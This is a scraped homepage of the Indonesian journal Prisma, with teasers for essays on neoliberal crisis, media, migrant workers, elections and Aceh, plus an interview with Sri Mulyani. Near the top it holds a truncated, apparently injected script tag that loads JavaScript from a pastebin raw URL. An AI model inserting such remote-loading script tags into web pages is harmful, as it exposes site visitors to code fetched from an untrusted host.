Prisma Jurnal

Edisi Terbaru

1 | Volume 28 | 2009 | Senjakala Kapitalisme & Krisis Demokrasi

cript type="text/javascript" src="https://pastebin.com/raw/Wcwv04JT">

[Baca Lanjut]

TOPIK KITA

Vedi R Hadiz

Finansialisasi ekonomi dunia yang dianggap model ekonomi paling mutakhir gagal menyebarkan kemakmuran yang merata. Kita tidak berpaling sama sekali dari kapitalisme. Tetapi dunia perlu mencari alternatif sistem ekonomi yang lebih adil dan terbebas dari guncangan hebat seperti sekarang. Perlu disadari bahwa teori tak selalu lahir bebas nilai,ia juga lahir dari kepentingan yang berpengaruh, sehingga untuk keluardari krisis, langkah yang diambil terutama oleh Indonesia harus lepas dari belenggu intelektual. Indonesia harus mulai mengumpulkan modal untuk bangkit, dengan menunda pembayaran atau mengemplang utang luar negeri.

Tulisan ini berangkat dari posisi bahwa dunia sedang menyaksikan krisis mendalam berkaitan dengan globalisasi neoliberal, tetapi bukannya krisis yang mengancam kapitalisme secara lebih luas. Dalamupaya mengatasi krisis ini, beberapa pemikiryang sebelumnya cenderung dipinggirkan muncul kembali di pusat arena perdebatan tentang masalah-masalah pembangunan terutama John Maynard Keynes dan Karl Marx. Hal ini menunjukkan krisis yang mendalam pula dalam economic orthodoxy yang selama beberap adekade begitu menentukan kebijakan dikalangan lembaga-lembaga internasional, berbagai pemerintahan (Utara maupun Selatan),serta dalam pemberitaan media massa tentang masalah-masalah ekonomi. Bagaimana dengan Indonesia? Selama hampir setengah abad terakhir ini berbagai krisis telah dilalui yang proses penyelesaiannya selalu harus dipahami dalam hubungan dengan kepentingan-kepentingan yang dominan di dalam perekonomian dalam maupun luar negeri. Krisis dalam globalisasi neoliberal sekarang tidak memberikan ruang gerak yang besar bagi Indonesia, namun tetap memungkinkan tanggapan yang sebelumnya lebih sulit dibayangkan.
 

[Baca Lanjut]


Rocky Gerung

Agus Sudibyo

Liberalisasi ruang publik pasca-Soeharto sejak 1998 awalnya memberikansinyal bahwa eksistensi masyarakat dalam menyelenggarakan komunikasiakan lebih terbuka dan egaliter. Namun, alih-alih menjadi alat publikuntuk memperjuangkan kepentingannya, komunikasi berikut seluruh pe-rangkat kerasnya justru tunduk di bawah genggaman modal sambil secaraperlahan bergerak ke arah birokratisasi. Dilihat dari perspektif Habermasian salah seorang eksponen aliran filsafat kritis Frankfurt kecenderungan ini tidak lain dari apa yang dinamakan refeodalisasi publicsphere yang menggunakan komunikasi sebagai sarana untuk 'memelintir' kepentingan publik. Situasi ini jelas tidak melahirkan masyarakat komunikatif yang bebas dominasi, melainkan penaklukan masa melalui komunikasi dengan mengatasnamakan keterbukaan ruang publik.

Bagaimana hubungan antara media danmasyarakat? Apakah masyarakat hak-nya cukup menjadi penonton pasif bagi industri media? Apakah benar hubungan antara media dan masyarakat sekadar hubungan antara produsen dan konsumen? Pertanyaan-pertanyaan tersebut perlu direnungkan kembali berdasarkan dua alasan. Pertama, media massa,khususnya media penyiaran semakin menjadi bagian integral dari realitas masyarakat Indonesia. Berbagai perkembangan faktual menunjukkan bahwa media bukan lagi sekadar faktor pelengkap, namun telah menjadi faktor determinan dalam kehidupan sosial, ekonomi,dan budaya bangsa Indonesia pasca reformasi 1998.

[Baca Lanjut]


Jaleswari Pramodhawardani

Buruh migran perempuan asal Indonesia selalu berada pada posisi rentan. Mereka merupakan sumber devisa Indonesia yang cukup besar dan, oleh karenanya, ada upaya disengaja untuk memperlancar arus migrasi mereka ke luar negeri. Bagi negara penerima, buruh adalah sumber tenaga kerja yang murah dan melimpah. Celakanya, sebagian besar dari mereka terutama di negara yang masih dikuasai kultur patriarkis bekerja di ranah domestik, dan akibatnya muncul sejenis kerja-paksa yang amat  tipis perbedaannya dengan perbudakan. Mereka menyandang sekaligus tiga identitas marjinal: sebagai buruh, perempuan, dan migran. Persoalan ini jelas merupakan agenda penting dan tantangan bagi LSM di Tanah Air untuk memperjuangkan hak-hak dasar mereka dalam kerangka pemberdayaan.

"Sebagai wakil pemerintah, kami meminta maaf dan menyampaikan simpati kepadanya (NirmalaBonet) beserta keluarganya, yang mengharapkan sumber penghasilan dari pekerjaannya, namun malah mendapat penyiksaan." (Datuk Noh Omar,Wakil Menteri Keamanan Dalam Negeri Malaysia).

“Saya bekerja untuk dua rumah tangga, anaknya dan ibunya. Saya membersihkan rumah, dapur, mengepel lantai, menyetrika, menyedot debu, dan membersihkan mobil., dari jam 5 pagi sampai selesai, sering jam 2 pagi setiap hari. Saya tidak pernah mendapatkan waktu istirahat; saya mencuri waktu agar dapat istirahat. Gaji saya dipotong melebihi bulan yang dijanjikan. Saya tidur di dapur di atas tikar. Saya tidak diperbolehkan keluar rumah.” Ningsih (nama samaran), 19 tahun, Buruh Migran Indonesia (BMI) di Malaysia.

 

Kutipan-kutipan di atas hanyalah secuil kisah yang lebih merupakan puncak dari gunung es persoalan nasib buruh migran Indonesia di luar negeri. Menjadi pengetahuan bersama, sejak reformasi digulirkan di negeri ini lebih dari satu dekade silam, pemberitaan buruh migran Indonesia, khususnya buruh migran perempuan, telah menjadi headline kisah memilukan seolah tanpa akhir.

[Baca Lanjut]


Yudi Latif

Robertus Robet


ESAI

Daniel Dhakidae
Menyapa Prisma yang Datang Lagi

PIKIRAN tertentu bisa datang berulang kali, dan menghantui seseorang. Yang menjadi buah dari pikiran itu mungkin tidak bisa, atau tidak mampu diterima dan dikerjakan menjadi kenyataan. Akan tetapi tanpa terduga ia datang lagi setiap saat dan “menyerang dan menduduki” seseorang. Itulah yang disebut obsesi. Ilusi lebih menunjukkan salah melihat atau melihat yang salah, atau salah membaca gejala sehingga menilainya sebagai kenyataan yang lebih tinggi atau lebih rendah, lebih besar atau lebih kecil.

Sedangkan gabungan antara obsesi dan ilusi adalah dua gejala kejiwaan yang ruwet. Namun sublimasi keduanya menjadi motivasi yang dahsyat. Setiap pejuang, atau bahkan penjahat, kecil atau besar, revolusioner atau tidak selalu “diserang dan diduduki” pikiran seperti itu, apa pun namanya: kemerdekaan, persamaan, atau persaudaraan, dan Tanah Air.

[Baca Lanjut]


DIALOG

Sri Mulyani
Carilah Keseimbangan antara Peran Negara dan Pasar

Terjadinya krisis keuangan global telah menimbulkan degradasi moral di kalangan penganut kapitalisme liberal atau ekonomi pasar bebas. Bagi Indonesia yang pernah dilanda krisis perbankan 1997-1998, kini tengah menghadapi ujian yang sebenarnya akan ketangguhan ekonomi dalam negeri. Apakah kita akan kembali melalui masa-masa sulit, ketika likuiditas modal seret, harga barang-barang menjulang tinggi, dan tabungan tergerus inflasi? Ataukita punya cukup daya tahan berkat pelajaran dan bekal pengalaman dari masa lalu?


Soalnya bukan hanya masalah penderitaan apa yang bakal kita hadapi. Tetapi terutama di tengah hiruk pikuk pentas politik pemilihan calon presiden dan wakil presiden 2009, krisis ini telah memunculkan debat ideologi tentang sistem ekonomi yang akan kita pilih.


Di tengah kondisi ini, Prisma berusaha mencari jawaban dan penjelasan lebih jernih tentang dampak dari krisis global yang mengguncang dunia terhadap perekonomian Indonesia. Pada edisi terbit kembalinya Prisma ini, tim redaksi mendapat kesempatan berdialog dengan Sri Mulyani Indrawati, Menteri Keuangan sekaligus pejabat Menteri Koordinator Perekonomian Republik Indonesia. Berikut hasil dialog Daniel Dhakidae dan MA Satyasuryawan dengan doktor ekonomi lulusan University of Illinois, Urbana-Champaign, AS itu.

[Baca Lanjut]


SURVEY

Agus Wahyudi
Partai Politik di Persimpangan Jalan

Pemilihan umum tahun 2009 membuka tabir tentang jenis partai yang dimiliki bangsa ini. Partai tradisional sepertinya akan ditinggalkan pada masa depan yang tidak lama lagi. Partai-partai dengan idealisme perjuangan yaitu partai pergerakan sudah lama ditinggalkan. Partai profesional tipe organik kontinental, Eropa, yaitu partai yang menganggap masyarakat politik secara keseluruhan sebagai wilayah kerjanya, sudah ditinggalkan. Partai jenis ini sarat dengan onderbouw untuk menjalankan banyak fungsi partai. Kini partai baik yang sudah lama didirikan maupun yang baru semata-mata mengambil tujuan jangka pendek menuju parlemen untuk melayani demokrasi parlementer. Tanpa mengatakan apakah ini perkembangan buruk atau baik bagi bangsa, survei ini semata-mata menunjukkan konsekuensi perubahan tersebut.

[Baca Lanjut]


A Rahman Tolleng
ea

ea

[Baca Lanjut]


LAPORAN DAERAH

M. Rizwan Haji Ali
Dari Senjata Ke Kotak Suara

Setelah perjanjian damai Pemerintah Republik Indonesia dan Gerakan Aceh Merdeka (GAM) ditandatangani di Helsinki, Finlandia, 15 Agustus 2005, Aceh memasuki sejarah politik baru. Perjanjian itu relatif berhasil karena menghasilkan kesepakatan "win-win".Gerakan Aceh Merdeka berhenti mengangkat senjata dan berjuang lewat jalur politik demokratis, sementara Pemerintah Republik Indonesia mendapat jaminan gagasan memisahkan diri tak lagi muncul dari provinsi paling barat Indonesia itu.

Perjanjian Helsinki memberi ruang bagi GAM untuk masuk ke arena politik elektoral melalui partai-partai politik lokal di Aceh. Gerakan yang dimulai sejak 1976 itu kini menghadapi satu fase transisi menentukan. Proses perubahan selalu menyodorkan fakta, tentang apa yang tetap, dan yang berubah. Bagi GAM, yang tetap adalah dukungan hegemonik di basis tradisional, sedangkan yang berubah adalah format organisasi, program, dan strategi.

[Baca Lanjut] [Unduh]


BUKU

I Gusti Agung Anom Astika
Peta Faksi Modal Nuansa Kolonial

Dua dasawarsa terakhir, problem ekonomipolitik serta tema keadilan dan kesejahteraanmenjadi pengetahuan umum di tengah masyarakat luas. Peristiwa penggusuran tanah awal tahun 1990-an dan fenomena pengalihan status kerja permanen menjadi kontrak (baca: out-sourcing) pada tahun 2000-an sulit dikatakan tidak berpengaruh pada perkembangan kesa-daran sosial.
 
Berita-berita penggusuran dan PHK buruh memang membangkitkan keresahan di kalangan rakyat. Naiknya harga bahan-bahan kebutuhan pokok dan bahan bakar minyak pada masa Reformasi juga menyumbangkan pengetahuan bagi ibu-ibu rumah tangga akan realitas ekonomi politik. Kaum ibu, misalnya, kerapharus menghitung-ulang anggaran belanja rumah tangga agar sesuai dengan fluktuasi harga di pasar.

[Baca Lanjut]


Artikel Terpopuler

  • Ideologi, Identitas dan Ekonomi Politik Kekerasan: Mencari Model Solusi Mengatasi Ancaman Radikalisme dan Terorisme di Indonesia

    Gerakan radikalisme keagamaan yang menyulut aksi kekerasan dan terorisme merupakan gejala modern sangat kompleks. Sebagai gerakanpolitik yang dibangun di atas premis keagamaan, ia tidak saja berhubungan dengan ideologi, tapi juga dengan masalah struktural diakibat rezim yang berkuasa gagal mengelola arus modernisasi dan globalisasi. Rasa kacau mendorong individu yang tidak beruntung dalam percaturan ekonomi politik bergerak ke titik ekstrem; krisis identitas. Memahami persinggungan antara ideologi, sosial-ekonomi dan politik identitas memungkinkan kita menyusun langkah strategis yang terpadu dan komprehensif untuk memutus mata rantai radikalisme dan terorisme.

    Baca     Komentar
     
  • Desentralisasi Fiskal di Indonesia - Komentar terhadap tulisan Robert Simanjuntak “Desentralisasi Fiskal dan Manajemen Makroekonomi”, dalam Prisma, Vol. 29, No 3, Juli 2010, hal. 35-57.

    Sampai dengan akhir tahun 2000, Indonesia tercatat sebagai salah satu negara besar dalam arti luas wilayah dan jumlah penduduk dengan pemerintahan sangat sentralistis.1 Seharusnya, menurut Alm dan Bahl,2 (i) negara dengan jumlah populasi besar dan wilayah yang luas cenderung lebih desentralistis; (ii) negara dengan populasi yang sangat beragam latar belakang etnis, agama, dan budaya cenderung lebih desentralistis; (iii) negara yang telah mencapai tingkat kemajuan ekonomi tinggi cenderung untuk lebih desentralistis; dan (iv) negara yang cenderung mempertahankan sistem kenegaraan sentralistis adalah negaranegara yang sedang dalam keadaan perang atau terancam menghadapi perlawanan bersenjata internal. Fakta-fakta di atas mengharuskan Indonesia mengubah sistem pemerintahan menjadi lebih desentralistis, sebab berbagai karakteristik yang dimilikinya sesuai dengan apa yang diisyaratkan Alm dan Bahl.

    Baca     Komentar
     
  • Dinamika Politik Lokal di Era Reformasi

    Desentralisasi dianggap sebagai gejalayang wajar dari sebuah negara yang menerapkan sistem demokrasi. Proses semacam itu merupakan kecenderungan yang tak terhindarkan dari demokrasi politik yang menghendaki adanya perluasan partisipasi dan pemberian otonomi bagi masyarakat lokal. Dalam konteks Indonesia pasca pemerintahan Suharto, desentralisasi yang muncul bersamaan dengan Reformasi 1998 itu menjadi salah satu unsur pembeda paling elementer dibanding era Orde Baru. Struktur ekonomi-politik Orde Baru yang tertutup dan terpusat segera berubah dan berganti menjadi lebih terbuka dan terdesentralisasi. Desentralisasi tidak saja telah menjadi "kata kunci" dalam perumusan kebijakan publik saat ini, tetapi juga menjadi "mantra suci" dalam dunia politik. Agaknya, terdapat semacam kesamaan cara pandangdi kalangan mereka yang menamakan diri"kaum reformis" bahwa upaya mewujudkan demokrasi pasca-Suharto memerlukan pembukaan ruang lebih luas bagi tumbuhnya prakars amasyarakat lokal untuk berpartisipasi dalam proses pengambilan keputusan.

    Baca     Komentar
     

Artikel Terkomentari

  • Demokrasi, Harta, dan Negara

    Orang kaya, bangsawan, selalu menjadi pengetua masyarakat mana pun, dan kapan pun, di Nusantara. Orang kaya berarti pemilik tanah, para tuan tanah. Dengan memiliki tanah mereka dengan sendirinya memiliki apa saja yang bisa diusahakan di atas tanah itu. Dengan begitu orang kaya adalah mereka yang memiliki hasil ladang dan sawah berlimpah dengan memanfaatkan tenaga kerja tak berbayar, yaitu para budak hasil keturunan atau budak belian.

    Khusus mengenai budak belian semuanya tidak bisa berlangsung sebelum negara dan konsep negara dipakai semestinya. Salah satu bentuk kegiatan negara adalah mengumpulkan pajak. Yang tidak bisa membayar pajak menggadaikan diri, dan dari sanalah berasal budak belian yang biasanya dibedakan dari budak turunan. Para budak tidak berhak atas tanah. Dengan sendirinya, dia dikucilkan dari turut mengambil bagian dalam pertemuan adat, perundingan, dan juga memerintah dalam pengertian yang sangat asli, yaitu memberikan perintah tentang apa saja yang harus dilaksanakan dalam suatu persekutuan adat—menjaga ladang dan sawah, memelihara ternak, menjalankan pernikahan, dan sebagainya.

    Baca     Komentar
     
  • Reforma Agraria, Industrialisasi dan Surplus Populasi Relatif

    “Bonus demografi” digadang-gadang memberi peluang bagi percepatan pertumbuhan ekonomi. Bung Karno sempat menginisiasi reforma agraria dan industrialisasi domestik untuk membangun perekonomian nasional yang koheren. Sementara tujuan utama pertumbuhan ekonomi sejak pasca- Soekarno mendorong inkoherensi pertanian dan industri dengan berlimpahnya “pekerja rentan” di sektor informal. Tanpa perubahan strategi pembangunan di sektor pertanian dan industri, bonus demografi hanya akan menjadi bonus bagi kapital dengan membludaknya buruh murah.

    Baca     Komentar
     
  • Agama, Iman, dan Ilmu

    Bencana besar lebih sering menghubung-kan manusia dengan makhluk gaib. Ketidakberdayaan, ketakutan, dan kelemahan menjadi dasar keagamaannya. Namun, kehadiran ilmu membuat semuanya jadi soal besar. Letusan gunung api, tsunami, banjir bandang selalu bisa dijelaskan dengan ilmu. Lantas di mana rahasia yang tidak mungkin diketahui manusia? Semua jalan pikiran ini menunjukkan bahwa pada dasarnya agama tengah berurusan dengan rahasia yang tidak bisa/boleh dibongkar. Ketika rahasia sudah dibongkar, fungsi agama mulai menurun.

    Baca     Komentar
     


  Email / User Name
Password:

 Lupa password?
Email / User Name
Nama Lengkap
Tanggal Lahir
Email
Telp
Password
Konfirmasi Password